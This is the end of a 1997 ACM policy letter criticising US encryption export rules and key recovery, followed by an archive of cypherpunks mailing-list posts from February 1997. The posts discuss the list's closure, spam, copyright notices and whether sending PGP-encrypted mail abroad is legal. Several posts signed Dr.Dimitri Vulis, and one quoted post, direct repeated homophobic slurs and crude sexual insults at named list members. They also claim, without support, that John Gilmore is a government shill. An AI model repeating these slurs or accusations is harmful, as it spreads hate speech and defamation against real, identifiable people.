This will effectively eliminate all communications on electronic media
that describe or discuss cryptographic source code.

        We believe the interim rule must be revised to eliminate the
distinction between printed and electronic source code and to allow for
open communications within scientific communities.  Restricting these
communications will retard the evolution of the science and the
development of new algorithms and cryptographic devices.

Education

        Many ACM members are computer science professors and teachers, so
we are concerned about the contradictions in the proposed regulations with
regards to education.  A number of fields and sub-fields address
cryptography as part of their curricula.  Part 734.9 states that
"Educational Information" is not subject to the new regulations if it is
"released by instruction in catalog courses and associated teaching
laboratories of academic institutions." Computer science, mathematics,
engineering, and electronic security may all include technical instruction
in encryption technologies and would be covered in U.S. university
classrooms.  However, questions arise with regard to distance and home or
overseas education because of Part 744.9.  It states that "No U.S. person
may, without a license from BXA, provide technical assistance (including
training) to foreign persons with the intent to aid a foreign person in
the development or manufacture outside the United States..."  While Part
744.9 defines a U.S. person it does not define "technical assistance" or
"training."  It is uncertain whether a U.S. professor teaching a course in
which foreign students are registered, or teaching a course in
cryptography overseas would be "training" a foreigner to develop a
cryptographic device if the course work was more detailed than "a
discussion of information about cryptography."  This would affect course
studies as disparate as 'number theory' and 'local area networks'.

        Also, educational environments are not limited to academic
institutions but are also found in national and industry labs.  Many
computer scientists receive their first hands on training after they
graduate from their University.  It is unclear whether this "training" or
"technical assistance" is in violation of the Interim Rule.  The intent of
the training is give the new employee the practical tools necessary to
participate in the field of cryptography science, and is not necessarily
intended to be project or employer specific.  While the General
prohibition in Part 744.9 discusses the meaning of intent as applied to an
academic setting, it is not clear if "academic setting" can be applied to
instruction which occurs outside of the University environment.

        The argument made previously with regard to digital media also
applies to education. As part of their course work, students often use
electronic media as resources (WWW, digital libraries, CD-ROMs), as a
communication device for the class outside the classroom (electronic mail,
listserves), and to learn from listening to the discussions among research
scientists (Usenet groups, listserves).  Part 7.34.3 (b)(3) which covers
encryption source code in electronic form or media will restrict these
types of educational instruction.  Instructors will be unable to take
advantage of digital media in their courses.  Students studying
cryptography will be unfairly disadvantaged as they will be unable to
access valuable resources even in the process of furthering their
education.

        The USACM believes the contradictions in Parts 7.34 and 744.9 must
be resolved in a clear manner so educators are not required to reduce the
quality of their courses for fear of misinterpreting the Interim Rule.
Specifically, "academic setting," "training," and "technical assistance"
must be defined, and distance education, and academic research and
communication must be addressed.

Research and Development

        Encryption policies must reflect the needs of the global market.
The international demand for products which incorporate strong
cryptographic tools is growing. Such products are widely available and
produced by a number of nations.  U.S. scientists have been prominent in
the development of current encryption technologies.  The field has
developed though research and development efforts along many different
tangents, only one of which describes key recovery products.  There is
little evidence that the demand for cryptography tools is limited to those
products which incorporate key recovery protocols. Part 742.15 (which
states that businesses must submit a business plan for the development of
key recovery products before they may export 56- bit software;  the
license must be renewed biannually until 1998 when only key recovery
products will be allowed for export)  will restrict the U.S. to producing
only products which incorporate KRI protocols.

        Mandating that businesses develop key recovery products will also
impede the natural market development of novel and innovative systems.
Part 740 hypothesizes that a worldwide KRI will be desirable, feasible,
and in place by 1998.  However it is unclear whether key recovery is the
best alternative.  Research along new tangents will continue in non-
industry and non-U.S. settings.  A new protocol may be discovered which is
considered a better choice for a worldwide infrastructure.  There will
exist a great market demand for variety in choosing a security system to
fit the needs of the distinct commercial group.  If this happens U.S.
scientists and industry will be at a disadvantage as they will have only a
core competence in key recovery protocols as per Part 740.8.

        There are a variety of commercial groups interested in utilizing
the Internet for business interactions and transactions. Without
interoperable encryption programs, commercial needs in an increasing
global environment cannot be met.  Supplement No. 4 to Part 742 states
that a product can not interact with another product whose key recovery
system has been "altered, bypassed, disabled, or otherwise rendered
inoperative."  This will be a major source of problems for researchers and
educators, as well as government and commercial institutions.  The result
of a system not being able to talk to another system because of an
intentional or accidental disabling of the KRI protocols can have a very
large impact on telemedicine, research, government operations, and
commercial enterprises.

        The USACM believes the Interim Rule should be rewritten to avoid
dissuading innovation and development and eliminating the U.S.'s core
competency in cryptography.  It should also recognize the need for
consistency in interoperable systems.

Key Recovery

        The USACM recognizes that there is a real market demand for key
recovery products from business and government employers.  However, the
viability of a KRI has not yet been determined.  It has not yet been
subject to the vigorous testing necessary for a proposed standard.  There
is little understanding of how such a system would operate and what
controls would be needed to ensure that it remained secure.  Part 740
describes the development of a Key Recovery Infrastructure within two
years.  We believe it is unwise for the United States to insist on the
development of a untested, unproved technology for a worldwide
infrastructure. The National Research Council report stated that a
feasibility study needed to be performed on a smaller scale before key
escrow could be seriously proposed for commercial applications.  We
believe this warning applies to KRI as well.  While key recovery tools may
be appropriate in some settings, we believe it would be wrong to impose
such restrictions on users or businesses and the Interim Rule should not
dictate that businesses limit their research to a potentially unworkable
system.

Privacy

       The USACM believes that certain principles should be reflected in a
national cryptography policy.  Encryption should be used for privacy
protection and to encourage the development of technologies and
institutional practices which will provide real privacy for the future
users of the NII and real security for the protection of the system. The
USACM believes that transferring the regulation of cryptography to the
Commerce Department could establish United States leadership in protecting
the privacy rights of its citizens.  However the Interim Rule fails to do
that.

Conclusion

       We recognize that the government has a legitimate interest in
protecting national security. However, whether or not the worldwide
infrastructure is achieved, the role of national security agencies will
remain difficult.  The government's proposal to balance national security,
business, and privacy interests by creating a Key Recovery Infrastructure
within the next two years is overly aggressive.  We suggest that the
development of a policy that serves the long term interests of our
nation's security will not be one based on a Key Recovery Infrastructure,
but rather one that anticipates the widespread availability of strong
encryption and the multifaceted demands of a global economy.  Toward that
end, the interests in protecting open research within the U.S. academic
community will be crucial.

Sincerely,




Barbara Simons, Ph.D
Chair, United States Public Policy Office for the
Association for Computing

        The ACM, founded in 1947, is an international non-profit
educational and scientific society dedicated to the development and use of
information technology, and to addressing the impact information
technology has on the world's major social challenges. The Association's
activities include the publication of scholarly journals and the
sponsorship of special interest groups (SIGS) in numerous disciplines. ACM
has 76,000 members.  The 60,000 who reside in the United States are
academic, professional, scientific, and ordinary users of
telecommunications technology and have a strong interest in the
development of sound encryption policies. The USACM provides a means for
promoting dialogue on technology policy issues with United States policy
makers and the general public. We respond to requests for information and
technical expertise from United States government agencies and
departments, seeks to influence relevant United States government policies
on behalf of the computing community and the public, and provides
information to the ACM on relevant United States government activities.



----------------------------------------------------------------------------
----------------------------------------------------------------------------
Lauren Amy Gelman                               gelmanl@gwis2.circ.gwu.edu
George Washington University                    gelman@epic.org
Science, Technology, and Public Policy Program  gelman@acm.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: omegam@cmq.com
Date: Fri, 14 Feb 1997 17:30:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Good Bye Cypherpunks!
In-Reply-To: <199702140618.WAA23553@toad.com>
Message-ID: <199702150130.TAA09170@jolietjake.com>
MIME-Version: 1.0
Content-Type: text/plain


Michael Froomkin writes:
 > Just for the record.  I will not post to USENET given the spamming that
 > seems to go to IDs that appear there.  
 > 
 > If any of you reading this are interested in law&crypto topics, please
 > bookmark my homepage, and vist every so often.

I suggest that you munge up your from line and possibly your reply-to
address in Usenet postings.  Folks who actually want to communicate
with you can derive your address from your .sig.

By the way, I have intentions of including your web page(s) as
references in the cypherpunks-resources faq I am producing.  Any
objections to this? (I know it's in your .sig and you want to
advertise it, but it just strikes me as _polite_ to ask.)

me

-- 
---------------------------------------------------------------------
Omegaman <mailto:omegam@cmq.com>|"When they kick out your front door,
   PGP Key fingerprint =        | How are you gonna come? 
   6D 31 C3 00 77 8C D1 C2      | With your hands upon your head,   
   59 0A 01 E3 AF 81 94 63      | Or on the trigger of your gun?" 
Send email with "get key" as the| -- The Clash, "Guns of Brixton"
"Subject:" to get my public key |   _London_Calling_ , 1980
---------------------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Fri, 14 Feb 1997 17:43:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Private property & the cypherpunks list(s) (fwd)
Message-ID: <199702150150.TAA07298@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: Kent Crispin <kent@songbird.com>
> Subject: Re: Private property & the cypherpunks list(s) (fwd)
> Date: Fri, 14 Feb 1997 14:10:36 -0800 (PST)

> Jim, if I put "Copyright (c) 1997 by Kent Crispin.  All Rights 
> Reserved." in my .sig, would that constitute a "fair-use header"?

As I understand it '(c)' is not considered acceptably close to the normal
copyright symbol. What I have been advised is to always spell out 'copyright
<date> <person>'.

                                                   Jim Choate
                                                   CyberTects
                                                   ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Fri, 14 Feb 1997 19:47:52 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
Message-ID: <v02140b04af2ac1ba0e9d@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


I want to thank you for the years of graciously hosting the cypherpunks
list.  Although I have only been active on the list since September, I have
lurked much longer and found it to be an invaluable source of information,
networking, discourse and inspiration.

I respect your decisions first to experiment with moderation and later to
pull the plug.  I regret your attempts in resolving the uncivil behavior of
'the few' failed and that some key posters, who had served as the
'backbone' of interesting discussion on the list, were driven off by the
insuing clamor and the off-topic rants.  So be it.  One way or another the
cypherpunks have spoken.

So, now its on to Usnet and more focused/moderated lists.  The LIST IS
DEAD, long live THE LISTS!

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Fri, 14 Feb 1997 17:49:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fuck UseNet (fwd)
Message-ID: <199702150156.TAA07307@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Fri, 14 Feb 1997 14:39:41 -0800 (PST)
> From: Kent Crispin <kent@songbird.com>

> But the distributed mailing list is by far the most interesting 
> solution.  Contrary to what some have claimed, it really isn't the 
> same as usenet -- it allows for distributed control.  There is no 
> doubt that the operator of a mail list host should have the freedom 
> to set his or her policies as they see fit -- it is their machine, 
> and their responsibility.  And contrariwise, subscribers should have 
> the freedom to chose list hosts with compatible philosophies.

Perhaps in addition to the X-foo structures we have discussed already we
might consider adding,

X-distrib-policy: foo

Where foo might be,

         Public Domain
         All rights reserved, contact author for redistribution
         Distribution for non-commercial uses permitted
         Refer to authors header
         Copyleft
         etc.

or whatever the policy might be for a given remailer. This would
significantly aid folks in their shopping around.


                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 14 Feb 1997 20:16:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: The EFF
In-Reply-To: <199702141704.JAA03249@netcom10.netcom.com>
Message-ID: <v03007800af2ae8818f1a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:36 AM -0800 2/14/97, Declan McCullagh wrote:

>As for the "rift," may observers said at the time that DT was a Jerry
>Berman "appeasement and capitulation" scheme. Note Berman no longer works
>at EFF. Note EFF is no lnoger in DC.
>
>And yes, I've read Tim May's essay on his EFF membership. I probably would
>have had the same reaction.
>

It might be a useful minor footnote for me to say that I did end up
renewing for a later year (though I kept getting mail as "Tim Mat"). I was
semi-persuaded that they'd learned their lesson.

I stopped paying attention to them a while back, though, and haven't
considered renewing. They just came to seem to be irrelevant as a
"membership driven" organization. (There were reportedly only about 2000
individual members as of not too long ago, and the EFF does little
recruiting for new individual members. They are definitely not following
the NRA or AARP models.)

Their legal work support has been very nice, of course.

As for Berman, he put on the "SAFE" forum, which I thought was very well
done. So, he redeemed himself, for me.

(I don't really understand personally whether the Digital Telephony (CALEA,
Computer Assistance for Law Enforcement) thing is Just Bad, or Really Bad,
or Even Worse, or Inconceivably Evil. No one seems to know what is expected
for Internet telephony providers, for example, or whether DT/CALEA could be
used to shut down remailers, as some of us fear. If DT/CALEA turns out to
be Really Bad, or Even Worse, I'll have to put Berman back on my list of
less desirable folks. :-})

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Fri, 14 Feb 1997 20:40:03 -0800 (PST)
To: "John C. Randolph" <cypherpunks@toad.com
Subject: Re: More on digital postage
Message-ID: <199702150439.UAA04775@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:31 AM 2/14/97 -0800, John C. Randolph wrote:
>
>Tim may says:
>
>>By the way, I think the "junk fax" and "junk phone call" laws are clearcut
>>violations of the First Amendment. I understand why the herd _wants_ these
>>laws, as it reduces the costs involved in replacing fax paper, running to
>>the telephone only to find someone trying to sell something, etc., but it
>>is quite clearly a prior restraint on speech, however well-intentioned.
>
>I have to disagree here.  The junk fax law is a restraint on unauthorised
>use of property, i.e. *my* fax machine, *my* phone, etc. 

However, you connect that fax machine to a phone line, when you know full 
well that should it be enabled to do so, it will automatically pick up the 
phone when it "hears" a ring, and will print out a fax based on information 
provided.  It isn't clear why sending a fax is any "wronger" than mailing 
junk mail, or making a (voice) phone call to somebody.


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Fri, 14 Feb 1997 20:40:07 -0800 (PST)
To: Pete Capelli <cypherpunks@toad.com>
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702150439.UAA04787@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:12 AM 2/13/97 -0500, Pete Capelli wrote:
>jim bell wrote:
>> 
>> At 03:25 PM 2/12/97 -0800, Timothy C. May wrote:
>
><Some deleted>
>
>> even more happy to pay, say, 10 cents to each recipient.  At that rate, an average
>> person would probably receive enough "spam" to  pay for his Internet
>> account, quite analogous to the way advertiser-supported TV is presented to
>> the public for no explicit charge.
>
>	Yes, but why does monetary compensation make it then O.K.? 


What, exactly, is your definition of "O.K."?    I didn't say that would make 
it "O.K."   Rather, the inclusion of the money makes the spam somewhat more 
tolerable of an intrusion than it would otherwise be.


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Fri, 14 Feb 1997 20:40:59 -0800 (PST)
To: snow <pete@ubisg.com>
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702150440.UAA04809@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:05 AM 2/14/97 -0600, snow wrote:
>Pete:
>> 	Yes, but why does monetary compensation make it then O.K.?  I'd rather
>> pay for my Internet access, then be bombarded by spam, no matter what
>> they paid me!  I think the best soln. is the one that is currently in
>> place for phone calls - they can call once, but if I tell them not to
>> call me again and they do, I can then begin legal action against them. 
>> I pay more per month for my phone service than my Internet service (
>> although in NY, *everything* is more expensive. ), and junk phone calls
>> are way more intrusive then spam.
>
>	I figure if this scheme comes to fruition, I'll just set up a seperate
>account (or procmail) to filter out the spam, deposit the coin, and go on
>about my business.


That's fine...that's EXACTLY the way the system would work!  Intentionally 
so!  The purpose of the payment is not because the sender feels some sort of 
legal obligation to pay; rather it's analogous to a tip to a waiter.

The sender makes the payment based on however much he _wants_ you to pay 
attention to his message, but fully aware that there is no guarantee that 
you'll do so.  

Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Fri, 14 Feb 1997 18:27:41 -0800 (PST)
To: aaron@herringn.com
Subject: Re: Cypherpunks afraid of spam?
In-Reply-To: <199702142356.PAA18079@toad.com>
Message-ID: <199702150246.UAA03252@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> It seems very strange that the denziens of this list, reputed to be gutsy
> enough to take on the FBI, NSA, CIA, and White House, would be scared
> away from a discussion forum (Usenet) by uninvited email.
> We'd better hope they never figure out Cypherpunks, Guardians of
> Privacy and Defenders of Free Speech, are afraid of spam.

	It isn't the Once and a While Big Ass Knock Down Drag Outs that kick
your ass, it is the mosquito's and the heat, the moldy bread and the drip
drip drip of the constant rain. 

	Even Solid rock gets worn away by the steady drip drip drip of the 
rain. I hate that drip. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Fri, 14 Feb 1997 19:24:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Private property & the cypherpunks list(s) (fwd)
Message-ID: <199702150331.VAA07416@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Fri, 14 Feb 1997 17:39:32 -0800
> From: Toto <toto@sk.sympatico.ca>
> Subject: Re: Private property & the cypherpunks list(s) (fwd)

>   Personally, I try to let people know that they may use even my 
> private email in any manner they see fit. I have no objection to
> even those who disagree with me using it to attack me or misdirect
> others, or whatever.
>   I agree with Jim's 'defacto public domain' idea, as long as it 
> does not conflict with the reality of the need for intellectual
> property rights.
>   e.g. - copyright and patent law

I am not preventing people from retaining their rights. I simply recognize
that there are entirely too many different views of 'fair use' to create a
blanket order. I also recognize that one responsibility in a democracy of
all citizens is the protection of the results of human effort. The best way
to protect and preserve information is to place it in the public domain. Of
course the other option is to sell large 'collections' to groups like
Microsoft who would end up charging you out the ya-ya for looking at 'their'
pretty pictures. Wonder what DaVinci would have thought of the way we treat
HIS paintings? But I digress. Given that people have many highly
individualistic views about copyright of their expression and the need to
preserve that expression we must ask ourselves how? One obvious answer is to
place everything in the public domain, I am shure the information race we
experience now would be nothing compared to that worlds output. However,
this prevents truly gifted individuals from being able to spend the time (eg
lifetimes) needed to truly master some forms of expression. We certainly
don't want to support them on the public dole, so there must be some way for
them to make a living off their work. So we recognize their originality or
inherent worth in their expression. We also recognize that there can't be
complete and total protection because most people would not find a buyer for
their expression simply from lack of knowledge. So, lets find a middle
ground, one where people can tell other people about things they experience
as well as feel secure that their efforts have some inherent worth and also
some failsafe to ensure that as much effort as possible gets archived. So
let's require each person to include their prefered choice of copyright in
their communications, otherwise it falls into the public domain.

The only resolution of this approach is that everyone gets what they want.

Not relevant in this forum, but I also believe that material being held in
copyright should fall into the public domain when the copyright holder dies.

>   If you are having trouble understanding the concept I am dealing
> with, here, then I suggest that you drink a bottle of Scotch and
> read this post again.

That's certainly one way to get in the correct attitude...;)


                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Fri, 14 Feb 1997 21:47:29 -0800 (PST)
To: "Robert Rothenburg 'Walking-Owl'" <WlkngOwl@unix.asb.com>
Subject: Re: Letter Re: Kahn Supporting GAK
Message-ID: <199702150547.VAA12326@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:35 PM 2/5/97 +0000, Robert Rothenburg 'Walking-Owl' wrote:
>Good point: but I've seen a few refs from LEAs about "Drug Dealer X 
>who we can't talk about" or "Child Pornographer Y who we can't talk 
>about" (in lieu of cases being digested by the court system) so I 
>didn't harp on that point.
>
>A point I did leave out was that if they already knew these people 
>were criminals and were building cases against them, monitoring them 
>enough to know they used crypto, then do they really need to bother 
>with listening in to the exact message?


I think it would be appropriate to insist that these guys (the LEAs) 
document their need for decryption, by providing "us" (the public) with an 
encrypted version of the data that they have accessed but cannot understand, 
as well as its source and what case it's associated with.  The LEAs would 
encrypt it and publicize it (not openly identifying the details) but with 
the promise that the key to unlock the information would be released within, 
say, a year or even earlier once a case is brought.  Included within the 
encrypted identification would be references sufficient to identify the case 
involved.

If they have any doubts as to why they should do this, we should point out 
that we see no reason to believe their claims, but we want to give them the 
maximum opportunity to prove them without requiring that they spill the 
beans, completely, now.   

Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Scott Auge <scotta@sauge.com>
Date: Fri, 14 Feb 1997 19:07:24 -0800 (PST)
To: "Scott A. Hommel" <shommel@zoo.uvm.edu>
Subject: Re: pgp encrypted messages
In-Reply-To: <199702142326.PAA16968@toad.com>
Message-ID: <33052867.5AE385E0@sauge.com>
MIME-Version: 1.0
Content-Type: text/plain


Scott A. Hommel wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> Is it legal or illegal to send a
> PGP encrypted message from the US to someone in another country?
> 

Suppose it depends on what ya put IN the message....

-- 
How has the government interfered in your life today?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 14 Feb 1997 20:14:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A "Default Faggot"/ was:Dale disses gays.
In-Reply-To: <Pine.LNX.3.95.970214172753.30152B-100000@dhp.com>
Message-ID: <T2D62D27w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


aga <aga@dhp.com> writes:

> On Fri, 14 Feb 1997, Anonymous wrote:
>
> > Date: Fri, 14 Feb 1997 12:45:07 -0700
> > From: Anonymous <nobody@wazoo.com>
> > Reply-To: freedom-knights@jetcafe.org
> > To: freedom-knights@jetcafe.org
> > Subject: Re: Dale disses gays.
> >
> > aga <aga@dhp.com> writes:
> >
> > > Now just who is thisa guy? -- who keeps posting under
> > > "nobody" at the cajones remailer?  Anybody have him/her
> > > tagged yet for the real person?
> >
> > Probably multiple people.  It's just an anonymous remailer.
> >
> > > ...
> > > I don't know.  It has always been easy for me to spot a faggot.  I
> > > mean, I can even tell by their voice if they are queer.
> >
> > Well, those of us who happen to know Gilmore is straight are not very
> > impressed with your accuracy.
> >
>
> Well, I never talked to Gilmore, but I will tell you this:
> I have never seen him come outright and say "I am straight and not
> gay."  So until he says that, he is a default faggot.
>
> The default faggots are the worst kind.  If a guy would just say
> "o.k., I am gay," I can respect him and drop the subject.  It is the
> ones who refuse to admit they are gay that bug me the most.

I used to know cocksucker John Gilmore personally and I'm convinced
that he's is an effeminate limp-wristed faggot.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 14 Feb 1997 20:12:24 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Dave Hayes takes over Cypherpunks
In-Reply-To: <33051F8F.7798@sk.sympatico.ca>
Message-ID: <g0D62D28w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> aga wrote:
> > How about that we require everybody to state their sex and sexual
> > orientation in the future, so we have no future problems.
> > I am a "Male Heterosexual" -- what about the rest of you?
> > If you refuse to answer, you are presumed to be a gay boy who
> > is hiding it.
>
>  I am a "Male, Cross-Dressing Heterosexual."

I'm a male heterosexual.

Cocksucker John Gilmore is a faggot. So is his boss Bobby Inman from NSA.
John Gilmore is a U.S.Government shill out to suck resources into
fruitless flame war and to sabotage our efforts to deploy crypto.

What about Timmy May and Eric Hughes? Are they faggots in U.S.G.
employ or mere mindless dupes?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 14 Feb 1997 20:12:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
In-Reply-To: <33051616.2DC2@sk.sympatico.ca>
Message-ID: <5Pe62D30w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> Omegaman wrote:
> > the notion that cypherpunks is dead and destroyed is silly.
>
>   Give the man a fucking cigar!
>   Why don't a few of us start a "CypherPunks is ignonimous" thread,
> and see what silly clap-trap results? Maybe the thread could be
> started by the guy in New York city who began a campaign to clothe
> animals, so that their 'dicks' wouldn't show. He garnered quite a
> following.
>
>   Did anyone notice the 'pun' in Declan's subject header?
>   "A List Goes Down In FLAMES"
>   Did Declan notice it?
>
>   My theory is that the news/press that we consume from our media-feeders
> starts around a 'catchy' headline, from which the press then builds a
> story to highlight their puns.

The whole list?

Or just Gilmore goes down on Sandfart and Sandart goes down on Parekh
and Parekh goes down on Gilmore - like a daisy chain?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Fri, 14 Feb 1997 20:28:20 -0800 (PST)
To: Adam Shostack <adam@homeport.org>
Subject: Re: Good Bye Cypherpunks!
In-Reply-To: <199702142338.SAA18913@homeport.org>
Message-ID: <Pine.SUN.3.95.970214233035.23677B-100000@viper.law.miami.edu>
MIME-Version: 1.0
Content-Type: text/plain


Yes, I get spam too.  But it's still less than the spam directed at an old
account on another machine, that posted regularly to usenet until about 3
years ago!  And hasn't been used at all since...


On Fri, 14 Feb 1997, Adam Shostack wrote:

> Date: Fri, 14 Feb 1997 18:38:24 -0500 (EST)
> From: Adam Shostack <adam@homeport.org>
> To: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
> Cc: shamrock@netcom.com, tcmay@got.net, cypherpunks@toad.com
> Subject: Re: Good Bye Cypherpunks!
> 
> Michael Froomkin - U.Miami School of Law wrote:
> | Just for the record.  I will not post to USENET given the spamming that
> | seems to go to IDs that appear there.  
> 
> 	Your postings appear on the web, as part of the cypherpunks
> archives at infinity.nus.sg.
> 
> http://infinity.nus.sg/cypherpunks/current/0089.html
> 
> 	There seem to be robots that search the web; I've never even
> read usenet from this account, and I get spam.
> 
> Adam
> 
> 
> -- 
> "It is seldom that liberty of any kind is lost all at once."
> 					               -Hume
> 
> 

==
The above may have been dictated via Dragon Dictate 2.52 voice
recognition. Please be alert for unintentional word substitutions. 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Fri, 14 Feb 1997 20:46:21 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re:
In-Reply-To: <855947474.1029113.0@fatmans.demon.co.uk>
Message-ID: <Pine.SUN.3.95.970214234802.23677J-100000@viper.law.miami.edu>
MIME-Version: 1.0
Content-Type: text/plain


[cc list trimmed!]

On Fri, 14 Feb 1997 paul@fatmans.demon.co.uk wrote:

> 
> > Is it legal or illegal to send a 
> > PGP encrypted message from the US to someone in another country?
> 
> Yes.
> 

Rubbish.  It is perfectly legal.  See generally
http://www.law.miami.edu/~froomkin/articles/clipper.htm

PS. His sexist comments are rubbish too.  I usually like his crypto posts,
however, as long as they are technical rather than legal...

==
The above may have been dictated via Dragon Dictate 2.52 voice
recognition. Please be alert for unintentional word substitutions. 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 14 Feb 1997 16:05:18 -0800 (PST)
To: tcmay@got.net
Subject: Re: Good Bye Cypherpunks!
In-Reply-To: <v03007805af2a81a440c4@[207.167.93.63]>
Message-ID: <199702142359.XAA02745@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
> [...]
> By the way, I can forward to those who are interested these four or five
> posts which got "Meta-Censored." (Unless too many people request
> them...I'll promise to forward them to the first five people who request
> them...then some of you can repost them to the list and see if they make it
> through.)

I'd like to see them.  In fact I'd like to collect the posts which slipped
through the crack and didn't make it to either cp-flames or cp, on the
assumption that these are the posts which tell the story.

In particular I'd like to see the post that John Gilmore refered to as `Mr
Nemesis' post, wherein someone allegedly slanders/libels C2, to the
extent that Sandy dropped it from both lists, if anyone who was
subscribed to cypherpunks-unedited at the time has it still.

Unfortunately I was subscribed to only cypherpuks-flames and
cypherpunks (the edited list) at the time, so didn't get to see it.

I'm on Lance Cottrell's cypherpunks@cyberpass.net now, which is
subscribed to the cypherpunks-unedited list.  At the moment Lance is
setting Reply-To: to cypherpunks@toad.com, but I presume he'll drop
that when John Gilmore drops cypherpunks@toad.com.

The moderation decisions that I saw prior to moving to
cypherpunks-unedited after Sandy's return, and change of policy, were
even more arbitrary.  I figured I wasn't even interested to see what
they were any more, given that the cypherpunks@toad.com was shortly
being closed anyway, so just subscribed to cypherpunks-unedited.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
